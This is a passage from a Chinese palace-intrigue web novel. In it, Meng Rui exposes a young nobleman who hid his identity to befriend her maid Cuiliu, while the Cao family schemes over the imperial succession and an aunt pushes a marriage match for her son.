曹湛战战兢兢地低下头,显得更加恭顺而胆小。
他心中却忍不住反驳父亲的话,父亲挂在嘴边夸赞的大哥和二哥,早在十六年前,就和五皇子一起,死在乱军的马蹄下,尸骨都成灰了,再提起又有什么用?
不过……曹湛心中又泛起嘀咕,父亲说二位哥哥为他分忧,那么当年对付魏家,和谋害皇后太子的事,二位哥哥又参与了多少?
曹尚书看着儿子垂头恭顺的模样,心中的郁气无处施放,只无奈叹出一口气。
“若是你两个哥哥和五殿下还在,我们曹家哪用像今日这般小心翼翼,如履薄冰……”
曹湛听着父亲的感叹,不由想起京城大乱前,他们曹家权势滔天的日子。
那时,曹湛还是个不到十岁的孩子,却也知道,宫里得宠的德妃娘娘,是他姑母,最有可能继承大统的五皇子,是他表哥。
他们曹家,是京中最有名望的世家,曹湛的父亲、叔伯、兄长,均在朝中担任要职,可谓是簪缨世家,实权在握。
在那种情况下,曹家搞死一个没什么根基的魏家,甚至谋害不受重视的七皇子的妻儿,都是手到擒来的小事。
如果不是发生了十六年前的京城大乱,现在的皇帝,肯定是他的亲表哥五皇子,曹家也会做到真正的权倾朝野。
就是京城大乱,让曹家遭受重创。
五皇子没了,曹湛的两个哥哥一个姐姐没了,他两个叔叔全家也都没了。
曹家嫡系子孙中,只剩曹湛一个独苗。
曹家势力也大减,不复往昔。
但其仍如一条死而不僵的百足之虫般,凭借过去的积累,盘桓在朝中,一点一点重拾旧部,加深势力。
曹尚书对曹湛这个仅剩的独苗儿子,呵护备至,期望他能像他两个哥哥一样杀伐果断,入仕做官,为曹家光耀门楣。
但曹湛,完全不符合曹尚书的期望。
曹湛读不进去书,沉迷于琴棋书画、吃喝玩乐。
曹尚书稍有惩戒,曹湛就大病一场,吓得曹尚书有段时间连重话,都不敢对这个儿子说。
等到曹湛及冠,曹尚书便让他早早成了亲,儿媳剩下嫡长子后,曹尚书又做主给曹湛纳了几房妾室,只盼他多多开枝散叶,其他的,曹尚书也都随他去了。
而如今,身负曹家血脉的二皇子,已经拉着曹家,再次卷入夺嫡的漩涡,不容许曹湛再置身事外。
“湛儿,十六年前,我们已经错过了一次机会,这一次,绝不能有失,你可明白?”
曹尚书看着曹湛,嘴角缓缓勾起,牵动面部皱纹,每一条纹路里仿佛都藏着经年的算计。
“若是二殿下能成功,我们曹家,便能迎回往日荣耀,而不是像如今这般,总是为人掣肘,举步维艰。”
曹湛连忙恭敬回应:“孩儿明白,一切听凭父亲吩咐。”
“嗯,为了曹家,你该立起来了!”
曹尚书满意地点头。
“这次谢家的事,就交由你去办。”
曹湛惶恐地抬头,“父亲,是按孩儿之前说的那样……去办吗?”
劝二皇子放弃谢家和孟蕊,想办法夺得青城郡主芳心?
曹湛觉得自己说服不了二皇子,但愿意去试试。
“我和你说了这么多,你这榆木脑袋,怎么还不明白?”
曹尚书恨铁不成钢地瞪着曹湛。
“三十年前,谢家就敢收留魏颖,和我们作对,现在,孟瑾联合许谦,干掉了晋国公,马上又要重启魏正廷案,来对付我们。
谢家是我们的敌人,对付敌人,你说要怎么办?”
曹湛面露难色,“父亲,您该不会让孩儿……去杀了孟瑾和许谦?”
他人生前二十七年,都过着吟诗作画的潇洒日子,可没杀过人,也不想手上沾血啊。
“我让你去杀人?你有那个能耐吗?”
曹尚书将一枚手掌大小的黑铁令牌交给曹湛。
“这是调集曹家暗卫的令牌,你现在要做的,就是去查清谢家每个人的底细,特别是谢清源他们一家五口,事无巨细,通通报给我!”
第294章 毫无诚意
箱子被送去给曹家的第二天,曹家公子曹湛,亲自登上谢府的大门,拜见谢清源,又当面向孟蕊表达了歉意。
曹湛只待了一会儿,便告辞离去。
谢清源等他走后,不屑地评价:
“说了一堆没用的场面话,毫无诚意。”
孟蕊也这么觉得,曹湛说着道歉,却没有提出任何有效措施,连约束二皇子的话都没有,可见只是来走个过场,表明一下态度而已。
“淑妃和二皇子的行动,或许曹家也管不住?”
孟蕊有几分不解,曹家若想管束,真能管住淑妃和二皇子?
“淑妃不过是曹氏旁支的庶女,没有曹家,她什么都不是。”
谢清源冷声道。
“前朝有曹尚书,后宫有曹太后,他们怎么可能管不住淑妃和二皇子,大概也是想试探我们的态度。”
想到夺嫡,孟蕊感到发愁,“爹爹,二皇子他……会到那个位置吗?”
“当然不会!”谢清源脱口而出。
孟蕊眸中闪过讶异,“爹爹,您这么笃定的原因是……知道陛下有属意的储君人选?”
现在几个皇子中,除去曹家支持的二皇子,四皇子母妃身份太低,六皇子年纪太小,而能与二皇子分庭抗礼的三皇子,是站在姜瑶那边的。
孟蕊越想越觉得,无论二皇子还是三皇子登临大宝,对她来说都很糟糕。
到那时,她要不就逃离京城,追随娘亲闯荡江湖好了。
沉浸在未来计划中的孟蕊,没有注意到谢清源脸上,那抹一闪而过的惊慌。
“蕊儿别乱说,不得揣度圣意。”
孟蕊自知失言,“女儿知错,以后会更加注意言行。”
“爹爹没有怪你的意思,但如今朝中争执立储一事已久,咱们别掺和进去。”
谢清源觉得自己刚才语气太重,不自在地清了清嗓子,柔声对孟蕊说。
“总之,乖女儿你不用担心,二皇子翻不起风浪,爹爹和你两个兄长,会保护好你的。”
孟蕊抿了抿唇,平静应了声是。
她心中却想着,自己重生后这一路走来,爹爹和兄长们是有帮到她,可总有家人不在身边的时候,真正靠得住的,只有她自己。
二皇子对她的龌龊心思,孟蕊知道。
若二皇子真敢付诸行动,她不会坐以待毙。
她可以学纪华筠对付罗杰裕那样,用意外伪装谋杀。
不过,纪华筠的手法太粗糙,若不是永宁侯在意女儿,压下了此事,实施计划的碧莲,逃不过惩处。
孟蕊又不禁想到前世,她对厉青鸿下毒的手法,比纪华筠还不如。
若是当时,她能保持冷静,细细谋划,先哄着厉青鸿,再徐徐图之,用慢性毒药,说不定,就能为前世惨死的翠柳成功报仇了。
想到翠柳,孟蕊突然很想见她。
又与父亲闲聊了几句,孟蕊告退离开。
她回来这些天,发现翠柳每天比她还忙,不是在厨房做糕点,就是跟着李管家跑出去逛铺子,时常找不见人影。
从正厅出来,孟蕊走向纪华筠的菡萏院。
她记得出门的时候,翠柳说要去给纪华筠送新做的糕点。
刚走进菡萏院,孟蕊就听见屋子里传来纪华筠“咯咯咯”的欢乐笑声,以及和翠柳两人的兴奋讨论声。
“这本太好看了,小翠柳,你真厉害,从哪里搞到的?书肆里可没见卖呀!”
“不是在书肆买的。”翠柳不好意思地说,“是我一个朋友送给我的。”
纪华筠激动地问:“什么朋友啊?他该不会是这话本的作者?”
“不是吧?他经营了几间铺子,其中有书肆,应该这话本到了他手里,还没开始卖。”翠柳不确定地回答。
“哦?小翠柳,你老实说,你的朋友……是男是女呀?”纪华筠拉长了声音,好奇极了。
“是位公子。”
翠柳如实回答,没察觉到纪华筠话中的揶揄,继续说。
“他挺不容易的,白日忙于生意奔波,晚上回去还要照顾病倒在床的老父亲,挺大年纪了,还没娶上媳妇儿……”
孟蕊听不下去了,直冲冲走了进去,便见纪华筠和翠柳,正围坐在桌前。
桌上放着茶水和各式点心,还有几本书册。
纪华筠一手拿着点心,一手拿着摊开的话本。
翠柳坐在她身边,正在说话。
看到孟蕊进来,翠柳高兴地站起来,迎向孟蕊。
“姑娘,你也来啦~快来坐,尝尝我新做的梅花酥。”
翠柳拉着孟蕊坐下,亲手拿了一块梅花酥,送到孟蕊嘴边。
孟蕊没犹豫,咬下一口,梅花的清香,混合着糕点的香甜,一起融化在口中。
“好吃!”孟蕊不吝夸赞,“比宫里御厨做的还要好吃。”
“真的吗?姑娘你不许骗我。”
翠柳笑弯了眼,喜滋滋道。
“秦大哥也这样说过,我还说他没进过宫,尽会拿好听的话哄我。”
“秦大哥?哪个秦大哥?”孟蕊接过翠柳手中的梅花酥,状若不经意地问。
翠柳老实答道:“就是西市尽头临街的铺子,开书肆的那个秦大哥呀,旁边那家酒行,也是他家的。”
见翠柳如此坦荡地说话,不像是私相授受、男女之情的样子,孟蕊心头的紧张稍稍舒缓。
她仔细回忆,西市尽头临街书肆,好像有点印象。
突然,孟蕊拿着糕点的手一顿,眉心微蹙,尽量保持自然地对翠柳说:
“我记得那家书肆,掌柜的好像是个四十多岁的中年人,按年纪,你该叫他叔了。”
翠柳今年十四岁,要到明年春天才及笄,喊四十多岁的中年人大哥,确实不合适。
“姑娘,秦大哥不是书肆掌柜,是书肆的东家。”
翠柳认真地纠正孟蕊的话。
“他年纪虽有些大,但应该也就二十来岁,与我哥差不多年纪,我叫他大哥,正合适呢。”
孟蕊恍然大悟道:“哦,他二十来岁,那他叫什么名字,家在哪儿?你知道吗?”
“他是京城人士,大家都叫他秦公子。”
翠柳天真地说。
“我用自己做的糕点,去书肆和他换话本看,不用知道他家在哪儿。”
孟蕊嘴角轻扯,“我倒是知道他叫什么名字,也知道他家在哪儿。”
第295章 纨绔世子
“姑娘,你也认识秦大哥?”
翠柳想了想,并不觉得奇怪,只好奇地问。
“是之前在西市就认识的吗?我怎么没有印象?”
安乐侯府的两家铺子都在西市,以前翠柳常陪着孟蕊去铺子里查账巡视,与周围几家铺子的掌柜伙计都熟悉,翠柳以为孟蕊是那时认识秦公子的。
看着翠柳这副单纯懵懂的模样,孟蕊心中既担忧又欣慰。
这一世,孟蕊成功避开了为奴的磨难,翠柳因此也没有经历前世的艰难,她一直在孟蕊的保护之下,性子活泼天真,缺少防人之心。
孟蕊纵然可以一直庇护翠柳,但也难免担心,在她顾及不到的时候,翠柳被人蒙骗,甚至伤害。
若真到那时,孟蕊怕自己后悔都来不及,不如趁这个机会,教翠柳提高警惕。
“不是在西市认识的,他也不只是个书肆的东家。”
孟蕊正思考着,该如何与翠柳解释,纪华筠颇感兴趣地看过来。
“蕊儿妹妹,你真认识这人?是个什么来头?”
她晃了晃手上的话本,笑着说。
“他家的话本真不错,比其他家都新颖好看。”
孟蕊瞟了一眼纪华筠手上拿着的话本,封面上《俏厨娘与俊东家》的书名,瞬间映入眼帘。
“华筠姐姐,你手上的话本子,能给我看看吗?”孟蕊伸出手,找纪华筠要。
纪华筠有些不舍地将话本递给孟蕊,“我还没看完,你看一下还给我哦。”
孟蕊拿过话本,看到封面的书名下,作者名写的是“二琴居士”,更加确信了心中猜想。
她快速翻看话本,发现里面的内容,并不是坊间写烂的情情爱爱,而是讲述一对男女开酒楼做生意的欢喜冤家故事。
孟蕊微微松了一口气,把话本还给了纪华筠。
“你这么快就看完了?”纪华筠惊讶道。
“我只是随便翻翻,没仔细读。”
孟蕊眼眸微沉,有了决定。
“看话本哪有去见真人有意思?不如晚一些时候,你们跟我去一个地方,如何?”
眼见为实,孟蕊决定带翠柳去见见真实的秦公子和二琴居士,认清那个人的真面目。
天黑后,孟蕊、纪华筠、翠柳,都换上了男装,从角门出府,乘坐马车前往平康坊。
马车停在一处巷子口,巷子口斜对面,就是有名的勾栏红春楼。
“蕊儿妹妹,你该不会要带我和小翠柳,来逛青楼吧?”
纪华筠掀开马车帘的一角,眼神期待地望着对面的青楼门口,姹紫嫣红揽客的姑娘们。
“你想多了,我们只是在这里等人而已。”孟蕊将马车帘拉上,顺手将探出头去的纪华筠拉回来。
翠柳不明所以,她是跟着姑娘来看秦公子的,透过车帘的间隙,看到了红春楼门口的景象,脸色羞红地垂头。
纪华筠看不到外面,不高兴地问:
“我们等谁啊?那个秦公子吗?他不是个好东西,喜欢逛花楼?”
“不会的,秦大哥不是那样的人。”翠柳抬起头,小声反驳。
“难道是等话本的作者二琴居士?”纪华筠兴奋起来,“他平时写书,都是来花楼找灵感的?”
纪华筠扒开孟蕊阻拦的手,打开马车帘,凑到前头,问扮作车夫保护她们的孟瑜。
“阿瑜,你逛过花楼没有?你是男人,肯定逛过吧?里面是什么样的?”
孟瑜回过头,淡淡道:
“我没逛过,你们也不许去。”
纪华筠失落地往后一坐,“你们兄妹俩,还真是一模一样。”
孟蕊看向二哥高大可靠的背影,感到非常安心。
孟瑜今日下午回府后,听到孟蕊的计划,主动提出送她们一起过来。
孟蕊越发觉得,二哥虽寡言少语,但心思细腻,对她很关心,只是不曾说出口。
“人到了。”孟瑜低声提醒。
孟蕊顺着孟瑜的目光看过去,果然见到了目标人物。
她将马车帘大打开,指着红春楼门口出现的锦衣玉冠的男子,问翠柳:
“看那边,他就是送你话本的秦大哥吧?”
翠柳懵懂地循着孟蕊的手指方向望去。
平日里青衫布衣、谦和有礼的男子,现在穿着锦衣华服,扬着一脸市侩的笑,在漂亮姑娘们的簇拥下,向着红春楼中走去。
明明是一样的脸,翠柳却仿佛不再认识那个人。
“我认识的秦大哥,不是这样的,他……应该只是长得像秦大哥,他不是……”
翠柳嗓子发涩,说不下去。
纪华筠也望见了孟蕊所指之人,“咦”了一声,“那人很眼熟啊,我一定在哪里见过他。”
她困惑地摸着下巴,求助地看向孟瑜。
孟瑜唇边泛起一丝不易察觉的笑,“他姓秦,京中世家,有几个姓秦的?”
“哦!我知道了!”
纪华筠恍然大悟。
“他不就是永安伯府那个纨绔世子秦仲棋吗?”
“世、世子?”翠柳呆呆地问,“可是他和我说他从小经商,他怎么会是世子?”
在翠柳的印象中,世子要么像齐轩那样高高在上、不染尘埃,要么像姜铭昊那样蛮横霸道、倨傲自满。
翠柳认识的秦仲棋,一点也不符合翠柳对高门公子的认知。
他衣着朴素,谦和礼让,会和翠柳讨论话本子里的剧情,会夸赞翠柳做的糕点好吃,像一个邻家大哥哥那样,让翠柳从不曾怀疑过他的身份。
孟蕊安抚地拍了拍呆愣的翠柳,缓缓道出实情:
“翠柳,你认识的秦大哥,本名秦仲棋,是永安伯府世子。
他们府中情况特殊,他确实很早就开始经商,在京中有许多产业,你和他相识的书肆,只是他众多产业中很小的一家铺子。”
孟蕊抬起头,望向红春楼门口的招牌。
“红春楼,也是秦仲棋经营的产业之一,不过京中很少有人知道,他常来此处寻欢作乐,彻夜欢愉,不是个可以托付的良人。”
翠柳逐渐接受了孟蕊的话,随即神情紧张,握住孟蕊的手。
“姑娘,我是不是闯祸了?”
翠柳着急的语气中,带上了哭腔。
“秦大……哦不,是秦世子,他隐瞒身份接近我,是不是要做什么不好的事?他不会想要利用我,害姑娘你吧?”
第296章 上门赔礼
翠柳虽年纪小,在孟蕊的保护下,不改天真善良的本性,但她不傻。
商户家的普通公子,可以与她成为朋友,但高门世家的世子爷,不可能看得上平民出身的自己。
加上翠柳经历过孟蕊被姜瑶诬陷身份,差点被逼迫为奴的事,一直感到后怕,对所有想要害她家姑娘的事,都非常敏感。
得知秦仲棋真实身份后,翠柳的第一反应,是这个人隐瞒身份接近她,肯定心怀不轨。
她一个小丫头,能给人图什么?
人家看上的,定然是她背后的孟蕊和谢家。
“怎么办?姑娘,我不会已经着了他的道吧?”
翠柳快速回忆她和秦仲棋有过的来往。
“我和他是五个月前认识的,那时姑娘你和吟夏吟秋姐姐她们都离府了。
我每天完成夫子教我的课业后,觉得无聊,便想要买些有趣的话本来看,出门逛街时,不知不觉就走到西市,进了那家书肆……
我和他之间没什么的,不过是他送我几本书,我送他几碟自己做的点心。
我们一个月,也就见两三次而已,我也不知道,我有没有被他利用,做什么不好的事……”
翠柳紧张得快要哭出来,她不想因为自己的疏忽,害了最在意的孟蕊。
“好了,没事的。”
孟蕊将眼泪汪汪的翠柳搂入怀中安慰。
“我们翠柳被人骗了,以后不和骗子来往就好,其他的事,交给我来处理,好吗?”
翠柳坐直身子,抹去眼泪,认真点头,向着孟蕊承诺道:
“姑娘,我以后再也不会理他了,他送我的书,我也要全都还给他。”
孟蕊拿出帕子,给翠柳擦眼泪,“好,我帮你……”
“等一等。”
纪华筠突然打断她们的对话,尴尬地笑着,对翠柳说。
“小翠柳,那些书……他送你了,就是你的,别还给他了!他还吃了你做的糕点呢,难道叫他也吐出来还你?”
“我……”翠柳纠结地看向纪华筠,“我的糕点就算了,不用他还。”
“他不还你的糕点,你凭什么还他的书?”
纪华筠凑近来,亲热地搭上翠柳的肩。
“那几本书,我都还没看完呢,咱们就别还他了吧?”
孟蕊无语地看着纪华筠,书是没什么大不了,但翠柳想要断干净,他们应该支持。
孟瑜眼眸淡淡看过来,开口询问:
“那几本书,就那么好看?”
“当然好看啦~”
纪华筠说起自己喜欢的话本,嘴角的笑就没停。
“而且那几本,都是外边书肆买不到的,也不知道秦仲棋从哪里找来的,故事与众不同,太精彩了。”
“或许他是自己写的呢?”
孟蕊说出猜想。
“伯仲叔季,‘仲’行‘二’,琴棋书画,‘琴’在‘棋’之前,那几本书的作者二琴居士,也许就是秦仲棋本人。”
纪华筠激动地拍了下车壁,“有道理!怪不得其他地方买不到,秦仲棋居然还会写话本,蕊儿妹妹你真聪明,这都能想到。”
孟蕊扯了扯嘴角,“还好吧,我稍微了解过。”
半年多前,秦仲棋与孟蕊谈生意合作时,大哥孟瑾调查过秦仲棋经营的各项产业。
当时,孟蕊就为秦仲棋写话本的事惊讶过,感叹他为了赚钱,什么行当都不放过。
“最近蕊儿不适合出面,秦仲棋的事,交给我去解决。”
孟瑜想到淑妃和二皇子,眸中闪过戾气。
“我会调查清楚这件事,无论秦仲棋出于什么目的,背后有什么人,我都会让他交代清楚。”
孟蕊看了眼翠柳,见她没有意见,对孟瑜道谢:
“如此,就麻烦二哥了。”
纪华筠俏皮地对孟瑜眨了眨眼,由孟瑜去解决,那她至少可以把那几个话本子看完。
之后的两天,日子一如往常般,平静如流水地过着。
孟蕊拉着翠柳一起习武读书,让她没有空闲胡思乱想。
第三天上午,孟蕊正教翠柳练飞镖时,吟夏来报,说永安伯府秦世子,带着礼物上门来赔罪。
又是一个来送礼的?
孟蕊想了想,爹爹和两位兄长都不在府中,二哥还没查清秦仲棋的目的,孟蕊不想这时与秦仲棋见面。
“告诉秦世子,我父兄不在府中,我不便见他,请他改日再来。”
孟蕊是未出阁的女子,不便单独见外男的说辞,无可指摘,也算给秦仲棋留了脸面。
吟夏领命离开,过了一会儿,复又回来禀报:
“小姐,秦世子听了您的话,离开了,但把礼物留在了门口,说是送给柳姑娘的。”
“我?”
翠柳把头摇得像拨浪鼓,小脸上满是抗拒。
“我不要,让他带走。”
孟蕊拍了拍翠柳的肩,“没关系,就留下来吧,让人把东西抬进门。”
“倒也不用抬。”吟夏笑道,“不过一个锦缎包袱,里面装着几本书。”
“书?是什么书?”
在旁边练剑的纪华筠,停下动作,双眼发亮。
“是《俏厨娘与俊东家》的第三册吗?秦仲棋他写出来了?”
吟夏不确定道:“我没注意看书名,那包袱放在门房,我去取过来?”
“不用,我跑去更快。”
纪华筠收剑入鞘,运起轻功就向大门的方向飞去。
翠柳眸色暗了暗,拿起手中飞镖,“咻”的一声,射中了靶子。
“不错,这次比上次更接近靶心了。”孟蕊夸赞道。
翠柳望着靶子上的飞镖,突然高兴起来。
“姑娘,我找到练习飞镖的诀窍了,只要将靶子想象成那个骗子,我就能射中,你看!”
翠柳拿起一个飞镖,射出,成功打在靶子上。
孟蕊很欣慰翠柳能化伤感为力量,她们一起练武到中午,都不见纪华筠再回来练武场。
派了人去问,回报说纪华筠提着包袱,回菡萏院了,现在正沉浸于看话本不能自拔。
李管家检查过那包袱没有问题,孟蕊也就随纪华筠去了。
晚间等到孟瑜回来,孟蕊忙去告诉他关于秦仲棋来送礼赔罪的事。
“二哥,你已经去找过秦世子了吗?他怎么说?”
“嗯,昨日我去找过他。”孟瑜回答,“他说他只是单纯想与翠柳交朋友。”
孟蕊闻之蹙眉,“这种说法,骗小孩都不信。”
“我信。”孟瑜平静道。
第297章 不再来往
“啊?”孟蕊懵了,“二哥你信他?”
“我派人查了秦仲棋近半年的行踪,没有可疑之处,与各方人等,正常往来,没有站队皇子、参与夺嫡的迹象。”
孟瑜嗓音沉着,不紧不慢地说。
“昨日,我去找过他,已向他问明,他见过翠柳与你一起,知道翠柳是谢府的人,在书肆见到翠柳,有意关照几分。
后来两人投缘,常有来往,但也仅止于互送话本、糕点等小礼物上,并无逾举。”
孟蕊抿了抿唇,怀疑地问:“那他隐瞒身份怎么说?”
“他以为翠柳知道他的身份,所以没有挑明。”孟瑜答。
孟蕊还是觉得可疑,注视着孟瑜,认真地问:
“二哥,你好像很信任秦世子,是不是有什么事瞒着我?你们之前认识吗?”
孟瑜回视孟蕊,敛眸道:
“我与他,确实是旧识,他是个聪明人,以我对他的了解,五个月的时间,他若真要利用翠柳做事,早就完成了,不会拖到现在,被我们发现。”
“那倒也是。”孟蕊想了想,她回京已快一月,翠柳一切如常,比之前更活泼快乐。
“秦仲棋还说,希望你不要阻碍他和翠柳的正常来往。”
孟瑜补充道。
“他说翠柳是个单纯可爱的姑娘,他很喜欢和翠柳说话,也很喜欢翠柳做的点心。”
“那不行!他那样的纨绔子弟,花花公子,带坏了我家翠柳怎么办?”
孟蕊毫不犹豫地否决,而后严肃地看向孟瑜。
“二哥,你没答应他吧?我不会允许任何人欺负翠柳的。”
“没有。”孟瑜语气平直,“我只让他把俏厨娘后面的话本送过来,就放他走了。”
孟蕊当即明白过来,为什么秦仲棋专门登门赔礼,却送的是一沓话本了。
翠柳自从知道秦仲棋的真实身份后,秦仲棋送的那堆话本,她再也没看过,全都被纪华筠搬去了菡萏院,说看完就还。
敢情是孟瑜为了纪华筠,打着翠柳的名头,向秦仲棋要的那些后续的话本。
“二哥和华筠姐姐感情真好。”孟蕊不咸不淡地叹道。
孟瑜冷峻的面容上,浮现几分不自在。
“那些话本等她看完,再一起还回去,之后如何应对,我们尊重你和翠柳的意见。”
“嗯,知道了,我回去问问翠柳。”
孟蕊觉得二哥的样子,有几分滑稽的可爱。
和纪华筠定亲之后,孟瑜身上的冷意仿佛冰雪消融般淡去,取而代之的,是对家人细腻的关心。
孟蕊正想告辞离开,突然想到一个问题。
“二哥,听你刚才的话,感觉你和秦世子,很早之前就认识了?”
孟瑜眸光微沉,“是,大约五年前,我就认识他了。”
五年前?孟蕊算着时间,那时二哥大约十四五岁,秦仲棋应该也还未及冠,他们那么早就认识了?
“你们是怎么认识的?”孟蕊更好奇了。
孟瑜漠然垂眸,几息之后才言语含糊地说:“他帮过我,自然而然就认识了。”
听出二哥不想多说,孟蕊也没再追问。
与孟瑜告辞后,孟蕊回到自己的院子,将孟瑜查到的情况,通通讲给翠柳听后,询问翠柳的意愿。
“听二哥的意思,秦世子还想与你继续如之前那般往来,翠柳你怎么想?”
翠柳轻轻摇着头,眸光晦涩,“我不想再和他往来了。”
孟蕊拉住翠柳的手,温柔地说:
“二哥与秦世子是故交,且已然查清,他对你不是别有所图,那你也不用担心,更不必在意我,只看你自己的想法。”
从内心出发,孟蕊是不想翠柳和秦仲棋继续有来往的,但她不是翠柳,她更想尊重翠柳的意愿,不想让翠柳将来后悔。
翠柳回握住孟蕊的手,目光坚定地说:
“姑娘,我想要往来的,是书肆少东家秦大哥,我与他说话,送他点心,轻松自在。
可是,他如果是永安伯府的秦世子,我与他往来,便是攀高枝,做什么都不舒服,不如不再见面。”
孟蕊为翠柳的清醒,颇感欣慰,也松了一口气。
“好,不见就不见,我会与二哥说,请他妥善处理此事。”
……
深夜,守夜的吟夏报于孟蕊,说翠柳捂在被子里哭,问孟蕊要不要去看看。
孟蕊没有动作,让吟夏也装作不知。
翠柳明年春天就要及笄,她总要长大,有些情绪要自己慢慢消化,才能有所成长。
翌日早晨起来,孟蕊没有叫醒翠柳,而是一个人来到练武场。
纪华筠昨夜院子里的灯亮到很晚,孟蕊不用想也知道,那家伙昨日得了新书,熬夜看话本子不亦乐乎,今早起不来了。
孟蕊在练武场热身,独自练了一会儿,等来了丁师父。
经过半年的历练,孟蕊已经能使出不错的轻功,和令人赞叹的卓越暗器。
但她天生气力不足,基于此的拳法和掌法,都打不出力道,只有入门水平。
孟蕊不服输,总想能提升一点是一点,她想在巧劲上下功夫,每日与丁师父对招,精进自己的应变能力。
近几个月来,回到北地的厉青鸿,都没什么动静。
但孟蕊总有种风雨欲来的预感,那个男人,不会轻易放过她。
孟蕊能做的,就是每天努力,让自己再变强一点。
练完武,时间已近午时。
孟蕊回到自己的院子,刚换了身衣裳,就听吟秋匆匆来报。
“小姐,老爷和郭夫人在前边吵起来了,您快去看看吧!”
“郭夫人?”孟蕊面露困惑。
吟秋连忙解释:“就是您的二姑姑,嫁给刑部侍郎郭大人的那位,按亲戚算,奴婢们该称呼二姑奶奶的,但老爷为了表明与承恩公府断了关系,只需奴婢们以对外的称呼论。”
孟蕊懂了,是她的二姑姑,闺名叫谢韵,嫁给了刑部侍郎郭宪,外人称其为郭夫人。
“二姑姑怎么突然来了,也没告诉我一声,我好去待客。”
孟蕊拿起桌上的茶水喝了一口,奇怪地问。
谢韵与谢清源虽是亲姐弟,但关系说不上好,两人几乎一见面就掐架,一般不会上门。
“郭夫人一来就说要见小姐您的,但老爷拦着不让她见。”
吟秋愁眉苦脸地说。
“他们好像在谈小姐您的婚事,不知怎的,就吵得厉害,李管家劝不住,才让奴婢来请您。”
第298章 无人敢娶?
为了她的婚事?
孟蕊心中有了谱。
她二姑姑谢韵,膝下有一儿一女。
其女郭芷晴,已经出嫁,丈夫是静安伯嫡次子韩章。
其子郭学峥,今年第二次下场科举,中了进士,名次不好不坏,现为翰林院庶吉士。
孟蕊带着吟秋赶到正堂外时,谢清源和谢韵正互相指着鼻子吵。
“二姐,你怎么那么喜欢管闲事?当年我的婚事你要管,现在又来管我女儿的婚事,你省省心吧!”
“你的婚事,我当年就是管得少了,才让你娶了一个江湖悍妇回来,让我们家丢尽了脸,现在出门,我都不好意思说起。”
“你当然不好意思,我娘子是陛下的救命恩人,靠自己挣了二品诰命,你有诰命吗?你傲什么傲?”
“诰命当然是好,但她现在人呢?蕊儿得了淑妃娘娘和二皇子赐礼,明显是有意于她,你们做爹娘的,若不想沾染皇家,就该早做打算,现在孟天连个人影都不见,你让我怎么想?”
“你有什么好想的,蕊儿是我和小天的女儿,我们自有打算,你自己儿子那么大了,婚事还没着落,你先管好他吧!”
……
孟蕊的脚步停在正堂门口,示意身边的丫鬟不要出声,静静听着里面的对话。
正堂中,谢韵因为谢清源的话,脸上露出受伤的表情。
她身形晃了晃,被丫鬟扶着坐下,指着谢清源的手,还被气得颤抖。
“我好心上门提醒,为你女儿的未来打算,你不领情就算了,还口出恶言,挖苦我儿,我们姐弟一场,你别太过分!”
谢韵和丈夫郭宪,是家族联姻,感情一般。
她最在意的就是儿子郭学峥,向来不许任何人说。
谢清源当然知道自家二姐有多在乎郭学峥,但他心中也十分烦躁。
快过年了,妻子孟天还未回京,半年前在孟家堡收到的休书,更让谢清源的一颗心,在期盼和担忧中来回横跳。
偏偏这个时候,谢韵上门挑事,说当年不该让谢清源和孟天成婚,还贬低孟天,这让谢清源如何能忍。
谢韵扎他的心,他也不让谢韵好受。
“二姐,我口出什么恶言了?你自己心里清楚,弟弟说的,都是众所周知的大实话。”
谢清源瞪着谢韵,眼中仿若喷火,也不斟酌什么言辞,想到什么说什么。
“学峥是我外甥,我希望他好,但他学问不足,能力有限,科举考了两次,才勉强中了进士,他都快三十了,你还不为他张罗婚事,准备让他孤独终老吗?”
“你胡说!”
谢韵厉声反驳,声音嘶哑。
“我儿二十有七,还不到三十岁!”
谢清源冷哼一声,“你在他这个年纪,早嫁给郭宪,芷晴都开始念书了。”
立在谢清源旁边李管家,扯了扯谢清源的袖子,阴阳怪气地劝:
“老爷,你悠着点说,郭公子能考中进士,是很不容易的,你以为谁都像我们家公子那么能耐,一考就是一个状元?”
想到争气给自己长脸的孟瑾,谢清源的怒火消散了些,顺着李管家的话说道:
“也是,学峥天赋如此,考中进士不容易,虽然一路坎坷,年纪也熬大了,但总之是考上了,不该过多苛责。”
谢韵听了他俩的话,心中五味杂陈,不是滋味。
她儿子郭学峥在普通学子中,学问算好的,但和如文曲星下凡一般大放异彩的孟瑾相比,那便是相形见绌,不堪对比。
再想到儿子不算年轻的年纪,和沉闷的性子,谢韵更觉少了几分底气。
但思及她想要做的事,谢韵又打起精神,端起长姐的架子,对谢清源说:
“六弟,我家学峥,只是年纪长一些,慢慢找,总能找到合适的姑娘,但现在外面都知道,你家蕊儿,被淑妃娘娘和二皇子看上,世家公子,还有谁敢娶她?”
谢韵语气加重,盛气凌人地质问。
“父亲有令,谢家之人,不得参与夺嫡,你应该也不会把女儿嫁给二皇子,拉着全家陷入进退两难的危险境地吧?”
谢清源无动于衷,“这就不劳二姐你费心了,我家女儿,就是不嫁人,我和她娘养她一辈子又何妨?”
“那怎么行?哪有女子不嫁人的?”
谢韵急了,迫不及待地说。
“我这里倒是有一个两全其美的法子,可以帮助蕊儿渡过此次难关。”
难关?谢清源挑眉,他不觉得有什么难的。
“二姐有何高见?”
谢韵听到谢清源发问,做足姿态,端起茶水抿了一口,润了润喉,才说出想好的说辞。
“六弟,要避免卷入夺嫡争斗,最好的方法,就是让蕊儿赶紧出嫁,断了那些人的心思。
我知道你一时半会儿找不到合适的人选,但也不能让蕊儿与京中纨绔为伍。
我家学峥,虽算不上多优秀,但他品德高洁,才貌双全,蕊儿与他也能相配。”
谢清源扯了扯嘴角,露出一个冷笑,“二姐今日上门,居然是来提亲的?”
“提亲说不上,只是看在姐弟一场,来为六弟解燃眉之急。”
谢韵虽不太满意孟蕊在外做生意的经历,但孟蕊父兄得力,自己还有县主的名头,已经是谢韵可以为大龄儿子找到的最好亲事。
其他谢韵看中,可堪匹配的人家,无不嫌弃郭学峥年纪过大,不够看好其未来前途,不愿将家中最优秀的嫡女相看,只肯以小家子气的庶女来打发谢韵。
谢韵心气高,且只有郭学峥一个嫡子,岂是一个小小庶女能配得上的?自然要给宝贝儿子,挑选一个最能有助力的媳妇。
肥水不流外人田,谢韵看中的是孟蕊父兄的实力,两家亲上加亲,更能为郭学峥的仕途助力。
“老爷,你很急吗?”李管家闲闲地问。
谢清源终于搞清楚谢韵的目的,冷声回应:
“我不急,我女儿也不急,是某个儿子快三十还没娶上媳妇的人着急了,打着亲情关心的幌子,来打我女儿的主意。”
